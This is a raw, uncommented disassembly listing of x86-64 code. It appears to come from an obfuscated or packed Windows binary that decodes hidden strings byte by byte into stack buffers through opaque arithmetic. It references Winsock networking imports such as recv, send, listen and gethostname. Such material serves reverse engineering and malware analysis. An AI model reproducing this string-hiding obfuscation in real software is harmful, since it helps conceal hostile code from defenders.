jmp 0x1400850f2
movabs rcx, 0x6db72da9a97dfce0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x140085272
movabs rcx, 0xff8b49e4575f9cea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140084652
movabs rdx, 0x915f661f05413cf4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400852ab
movabs rdx, 0x23338259b322dcfe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400852db
movabs rcx, 0xb5079e9461047d08
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
movabs rcx, 0x2199e52713b88d21
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
mov byte [rbp + rbx + 0xdb0], r10b
inc rbx
jmp 0x140084652
movabs rcx, 0xb36e0161c19a2d2b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
cmp r9, 2
jb 0x140084af2
movabs rcx, 0xf2be604f5c0d1e02
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x1c]
jmp 0x1400851f1
movabs rcx, 0x45421d9c6f7bcd35
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
cmp r8, 4
jae 0x1400850cb
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14008501c
movabs rdx, 0xa5077a9a26dd5e66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140084b21
movabs rcx, 0xd71639d71d5d6d3f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
lea rax, [r9 + r8]
cmp rax, 6
je 0x140085121
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140084f10
movabs rdx, 0xa03aa302489e6ecf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
add r10b, dl
jmp 0x140084b6d
movabs rdx, 0x1ccd0d8f35799d8a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
movabs rcx, 0xaea129c9e35b3d94
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400852db
movabs rcx, 0x40754604913cdd9e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x1400852ab
movabs rdx, 0xd249623f3f1e7da8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140084652
movabs rdx, 0x641d7e79ed001db2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140085272
movabs rcx, 0xf5f19ab49ae1bdbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1400850f2
movabs rcx, 0x87c5b6ef48c35dc6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
dec rbx
inc rbx
jmp 0x140084652
movabs rdx, 0x1999d329f6a4fdd0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140084652
movabs rdx, 0xab6def64a4869dda
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400851f1
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140084dc4
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x140084bcc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084e02
movabs rcx, 0x999af2fbc7ddf2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084e3f
movabs rcx, 0x541d5a7fb2d8ff10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140084652
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140084e70
movabs rcx, 0xc2493e4504f75f06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x140085272
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140084ea3
movabs rdx, 0x3075220a5715befc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400850ef
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140084edb
movabs rdx, 0x9ea105cfa9341ef2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140084652
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140084bcc
movabs rdx, 0x7af8cd5a4d70dede
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x1400851f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084f41
movabs rcx, 0xe6686c79abccec5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1400851f1
inc rax
cmp r8, rax
jne 0x140084f76
movabs rcx, 0x7c926a8cecdb2ebb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
inc r9
dec rbx
inc rbx
jmp 0x140084652
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084fa9
movabs rcx, 0xeabe4e523ef98eb1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
dec rbx
inc rbx
jmp 0x140084652
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140084fda
movabs rcx, 0x1199c12cd9916e7f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
jmp 0x1400852db
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140084b6d
movabs rcx, 0x7fc5a4f22bafce75
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008505f
movabs rdx, 0x13335e5f78fbbe5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
inc rax
cmp r8, rax
jne 0x14008508f
movabs rdx, 0x815f4224cb1a1e52
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
add r10b, dl
jmp 0x1400852db
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140084b21
movabs rdx, 0xa83ab4ff65b1fe20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140084652
movabs rdx, 0x60ea4414ae2b7df8
add rdx, rbx
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rbx + 0xdb0]
sub cl, al
add cl, 0x1c
lea r10d, [rcx + rcx]
add r10b, dl
movabs rcx, 0x180035f7573aadf3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x5b
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xdb0], r11b
jmp 0x140085272
movabs rdx, 0xcf1627da0049ddee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400852ab
movabs rcx, 0x99d42e37caf52f5b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140084652
movabs rcx, 0x4f5082e7d49a0f79
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
dec rbx
inc rbx
jmp 0x140084652
movabs rcx, 0xe1249f22827baf83
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x140084652
movabs rcx, 0x72f8bb5d305d4f8d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
movabs rcx, 0xa9d45232051c4dfd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x15
add r11b, cl
mov byte [rbp + rbx + 0xdb0], r11b
inc r9
dec rbx
inc rbx
jmp 0x140084652
movabs rcx, 0x2875100d3a022fab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
inc r9
dec rbx
inc rbx
jmp 0x140084652
movabs rcx, 0xddf164bd43a70fc9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140084652
mov r11, rdx
movabs rcx, 0x1999d329f6a4fdd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0xb
movabs rcx, 0x862c19bca9590de9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x5f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xdb0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x3d420b9f52683de4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, cl
mov byte [rbp + rbx + 0xdb0], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
movabs rcx, 0x2541d5a7fb2d8ff1
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x69
movzx eax, byte [rbp + rbx + 0xdb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140084652
movabs rcx, 0x1e66aac1d4e3ed67
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x140084650
movabs rcx, 0xb03ac6fc82c58d71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x140084640
lea rsi, [rbp + 0x1744a54]
jmp 0x1400853bf
lea rsi, [rbp + 0x1437a4f]
jmp 0x1400853bf
lea rsi, [rbp + 0xdb0]
lea rdx, [0x14021acf0]
lea rcx, [rbp + 0x600]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x60]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0xdd8], 0xee
mov byte [rbp + 0xdd9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xdda], 0xe9
mov byte [rbp + 0xddb], Ordinal_33
mov byte [rbp + 0xddc], Ordinal_33
mov byte [rbp + 0xddd], 8
mov byte [rbp + 0xdde], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xddf], listen
mov byte [rbp + 0xde0], 0xbe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xde1], xmm0
mov qword [rbp + 0xdf1], rax
mov word [rbp + 0xdf9], ax
movabs r14, 0xaedfefcd0f6d8263
movabs r15, 0x17ca3f71e0059bfd
movabs r12, 0x2bb4eba77d075ecf
movzx r10d, byte [rsp + 0x40]
nop
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0x760aa9e5317f1e97
cmp rbx, 0x23
jae 0x1400860c5
movzx r11d, byte [rbp + rbx + 0xdd8]
mov rdx, r11
cmp r9, rbx
ja 0x1400860b9
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400854e1
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x21
jmp 0x140085501
je 0x14008602f
lea rax, [r8 + 3]
cmp r9, rax
je 0x140085f91
lea rax, [r8 + 5]
cmp r9, rax
je 0x140085f3c
cmp r8, rbx
ja 0x1400860ad
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x140085532
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4b
add r10b, dl
jmp 0x140085580
lea rax, [r8 + 1]
cmp r9, rax
je 0x140085f1a
lea rax, [r8 + 3]
cmp r9, rax
je 0x140085eef
lea rax, [r8 + 4]
cmp r9, rax
je 0x140085e8d
lea rax, [r8 + 5]
cmp r9, rax
je 0x140085e6c
lea rax, [r8 + 7]
cmp r9, rax
je 0x140085e44
lea rax, [r8 + 2]
cmp r9, rax
je 0x140085e1c
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008599b
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x140085976
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140085948
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x140085919
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400858f3
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400858ce
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140085899
lea rax, [r8 + 4]
cmp r9, rax
je 0x140085870
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140085847
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140085811
lea r9, [r8 + 1]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x140086088
lea rax, [r8 + 2]
cmp r9, rax
jb 0x140086063
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1400856f7
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400856d8
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x1400856b9
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400857d7
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400857ae
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140085786
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x140085751
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140085728
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140085590
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x20]
jmp 0x140085590
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x15
add r10b, dl
jmp 0x140085580
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
add r10b, dl
jmp 0x140085501
movabs rdx, 0x3f9f97dd1a0921a1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x67
add r10b, dl
movabs rcx, 0x760aa9e5317f1e97
jmp 0x1400854af
movabs rdx, 0xc6aa2f3eef731e60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085ed7
movabs rcx, 0xda94db748c74e132
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085492
movabs rdx, 0xee7f87aa2976a404
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
jmp 0x140085fb2
movabs rdx, 0x26a33dfc67866d6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085fe5
movabs rdx, 0x1654e015637a29a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
movabs rcx, 0x193f9ece5c910e52
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3e
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
movabs rdx, 0x2d2a4b03f992d124
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085fe5
movabs rdx, 0x4114f739969493f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085fb2
movabs rcx, 0x54ffa36f339656c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085492
movabs rcx, 0x68ea4fa4d098199a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x36
jmp 0x140085ed7
movabs rdx, 0x7cd4fbda6d99dc6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140085ead
movabs rdx, 0x90bfa8100a9b9f3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140085492
movabs rcx, 0xa4aa5445a79d6210
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
inc r8
dec rbx
inc rbx
jmp 0x140085492
movabs rdx, 0xb895007b449f24e2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2e
jmp 0x140085f5c
lea rax, [r8 + 9]
cmp r9, rax
jae 0x140085a78
movabs rdx, 0x760aa9e5317f1e97
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x21
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x140085df6
lea rax, [r8 + 0x5a]
cmp r9, rax
jbe 0x140085b90
movabs rdx, 0x208a7b9ccb4a49fb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x23
add r10b, dl
cmp r9, 0x64
jae 0x140085dc9
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x140085ca1
movabs rdx, 0xcf6a6b69dab7cc5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x40
jb 0x140085db9
movabs rdx, 0x83fb151b8a6302a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x4c]
jmp 0x140085f5f
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140085ab6
movabs rcx, 0x5dbfdf9a1edb04c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140085ae8
movabs rdx, 0x35ea872ee4d77f22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085fb2
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140085b26
movabs rcx, 0x21ffdaf947d5bc50
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085492
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140085b5e
movabs rdx, 0xe63fd65870d073da
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140085492
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400859cb
movabs rdx, 0xbe6a7ded36ccee36
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
jmp 0x140085f5c
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140085bbe
movabs rdx, 0xc9fcf672e488729
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
jmp 0x140085f5c
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140085bfc
movabs rcx, 0xa90a725b1d3fb90f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085492
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140085c2d
movabs rdx, 0x951fc625803df63d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x55
add r10b, dl
jmp 0x140085fb2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140085c5e
movabs rdx, 0x813519efe33c336b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x13
add r10b, dl
jmp 0x140085fe5
lea rax, [r8 + 8]
cmp r9, rax
jne 0x140085a09
movabs rcx, 0x6d4a6dba463a7099
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2f
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140085ce4
movabs rdx, 0xbb7fbf343db6098c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
inc rax
cmp r9, rax
jne 0x140085d14
movabs rdx, 0x93aa66c903b283e8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x140085fb2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140085d46
movabs rdx, 0x6bd50e5dc9aefe44
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085ed7
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140085d7a
movabs rcx, 0x43ffb5f28fab78a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140085492
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140085a44
movabs rdx, 0x301509bcf2a9b5ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x140085492
mov byte [rbp + rbx + 0xdd8], r10b
inc rbx
jmp 0x140085492
movabs rdx, 0xf455051c1ba46d58
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xdd8]
sub r10b, al
sub r10b, 0x68
add r10b, r11b
jmp 0x140085ead
movabs rdx, 0xe06a58e67ea2aa86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140085fb2
movabs rdx, 0xf8a8e20275f6bd3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3b
add r10b, dl
jmp 0x140085fe5
movabs rdx, 0x23753a55c4612ea5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7d
add r10b, dl
jmp 0x140085fb2
movabs rcx, 0x4b4a92c0fe64b449
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r10b
jmp 0x140085ed7
movabs rdx, 0x5f353ef69b66771b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
movabs rcx, 0x6a5faf014d238bef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x77
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xdd8], cl
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085492
movabs rcx, 0x731feb2c386839ed
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7b
dec rbx
inc rbx
jmp 0x140085492
movabs rdx, 0x9af54397726bbf91
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 9
jmp 0x140085f5c
movabs rdx, 0xc2ca9c02ac6f4535
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
movabs rcx, 0x7e4a5b36ea254ec1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x47
add cl, r11b
mov byte [rbp + rbx + 0xdd8], cl
inc r8
dec rbx
inc rbx
jmp 0x140085492
mov r11, rdx
movabs rcx, 0x3a4aa5445a79d621
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x19
